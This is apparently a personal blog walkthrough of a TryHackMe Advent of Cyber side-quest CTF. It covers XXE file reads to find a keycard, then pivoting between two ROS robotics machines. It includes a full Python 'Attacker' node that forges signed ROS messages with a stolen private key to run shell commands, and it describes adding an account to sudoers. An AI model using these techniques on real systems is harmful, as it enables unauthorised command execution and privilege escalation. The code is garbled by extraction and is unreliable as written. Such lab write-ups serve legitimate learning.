Advent of Cyber Side Quest (Part 2)
5 December 2024
Part deux of the TryHackMe Advent of Cyber Side Quest! See Part 1 for context.
The Keycard
On the 5th day of the Advent there were people posting in Discord about finding the T2 keycard, so that was a pretty obvious indication that it was available to be found, unless they were trolling.
The main quest challenged involved XXE (XML eXternal Entity) attacks,
so it was rather frustrating fishing around the filesystem looking for
the keycard. Eventually I used XXE to return the contents of
/proc/net/tcp
which reveals, in a numeric encoding, what's
listening on which port. This showed that something was listening on
port 8080, which was interesting because nmap didn't show that port as
open from the outside.
The machine was also running phpmyadmin, which I spent a long time
trying to pwn, but the only writeable directory that phpmyadmin had
access to was outside the webroot. At long last, some further XXE'ing
revealed that there was an Apache2 access log at
localhost:8080/access.log
which contained a strange path:
/k3yZZZZZZZZZ/t2_sm1L3_4nD_w4v3_boyS.png
which, perhaps
obviously, was the keycard.
Running the two yin and yang machines was initially confusing because
I'd never done this even before and I seemingly couldn't reach the
machines. nmap
eventually revealed that only
:21337
was accessible, and browsing to that I understood:
It was simulating that the servers had been pwned by the Frosty Five
characters, and this was the ransomware page. After rooting the boxes I
was later able to determine that the password from the keycard causes
the flask app that runs the ransomware page to simply change the
firewall rules to allow the box to function "normally".
Yin and Yang
This was a really interesting room. There are two machines to run,
Yin and Yang, and each is running a robotics platform called ROS which I had never heard of before this
day. There was some language in the challenge description about how each
machine needs the other, so I assumed (correctly, as it turned out) that
you'd have to sort of pivot back and forth between the machines. It took
a lot of reading before I finally understood wtf was going on,
but the key insights were in each machine under /catkin_ws/
where each machine had a start script. What was immediately apparent was
that each machine was supposed to be sending different data to the
other, and each machine was validating/responding to the data
differently.
ROS
works a little bit like mqtt
, in that
it's a pub-sub message bus, so you can inspect the bus with
rostopic
but the network graph wasn't connected properly.
There needed to be a master node to which both machines would run. So,
it was necessary to do the following:
On yin:
- start
roscore
, the master server node sudo /catkin_ws/yin.sh
On yang:
- establish an ssh tunnel with
ssh -L 11311:localhost:11311 <yin@yin's IP>
, where 11311 is the pre-determined master node port determined from reading the ROS environment variables. sudo /catkin_ws/yang.sh
rostopic /echo messagebus
That got me yin's private key, which I could then use to write a
malicious node, that would forge pings from yin to yang, asking yang to
echo the contents of secret.txt
which is the "service
shared secret" that yin verifies. Getting secret.txt
allows
us to forge messages from yang back to yin.
#RUN THIS ON YIN
#!/usr/bin/python3
import rospy
import base64
import codecs
import os
from std_msgs.msg import String
from yin.msg import Comms
from yin.srv import yangrequest
import hashlib
from Cryptodome.Signature import PKCS1_v1_5
from Cryptodome.PublicKey import RSA
from Cryptodome.Hash import SHA256
class Attacker:
def __init__(self):
self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)
#Read the message channel private key
= b'secret'
pwd with open('/home/yin/yin-privkey.pem', 'rb') as f:
= f.read()
data self.priv_key = RSA.import_key(data,pwd)
self.priv_key_str = self.priv_key.export_key().decode()
'attacker')
rospy.init_node(
self.prompt_rate = rospy.Rate(0.5)
Read the service secretwith open('/catkin_ws/secret.txt', 'r') as f:
= f.read()
data self.secret = data.replace('\n','')
# does this need edited??
self.service = rospy.Service('svc_yang', yangrequest, self.handle_yang_request)
def handle_yang_request(self, req):
= "Action performed"
response return response
def getBase64(self, message):
= base64.urlsafe_b64encode(message.timestamp.encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(message.sender.encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(message.receiver.encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(str(message.action).encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(str(message.actionparams).encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(message.feedback.encode()).decode()
hmac return hmac
def getSHA(self, hmac):
= hashlib.sha256()
m
m.update(hmac.encode())return str(m.hexdigest())
#This function will craft the signature for the message based on the specific system being talked to
def sign_message(self, message):
= self.getBase64(message)
hmac = SHA256.new(hmac.encode('utf-8'))
hmac = PKCS1_v1_5.new(self.priv_key).sign(hmac)
signature = base64.b64encode(signature).decode()
sig = sig
message.hmac return message
def craft_ping(self, receiver):
= Comms()
message = str(rospy.get_time())
message.timestamp = "Yin"
message.sender = "Yang"
message.receiver = 1
message.action = ['cat /catkin_ws/secret.txt']
message.actionparams #message.actionparams.append(self.priv_key_str)
= "ACTION"
message.feedback = ""
message.hmac return message
def send_pings(self):
# Yang
= self.craft_ping("Yang")
message = self.sign_message(message)
message self.messagebus.publish(message)
def run_attacker(self):
while not rospy.is_shutdown():
self.send_pings()
self.prompt_rate.sleep()
if __name__ == '__main__':
try:
= Attacker()
attacker
attacker.run_attacker()
except rospy.ROSInterruptException:
pass
And with that, we learn that the shared secret is
thisisasecretvaluethatyouwillneverguess
. Furthermore we can
edit message.actionparams
to list the contents of
/root
where we discover the flag, and then we can edit the
action params a second time to echo the contents of the flag back to
us.
A second malicious node
To get the flag off the yin machine, I used the shared secret to
write a second malicious node to be run on yang, which performs more or
less the same attack, except instead of echoing the flag I added the yin
account to sudoers for all commands so I could simply cd
into the directory and read the flag directly.
That was really interesting and fun! Onto Task 3!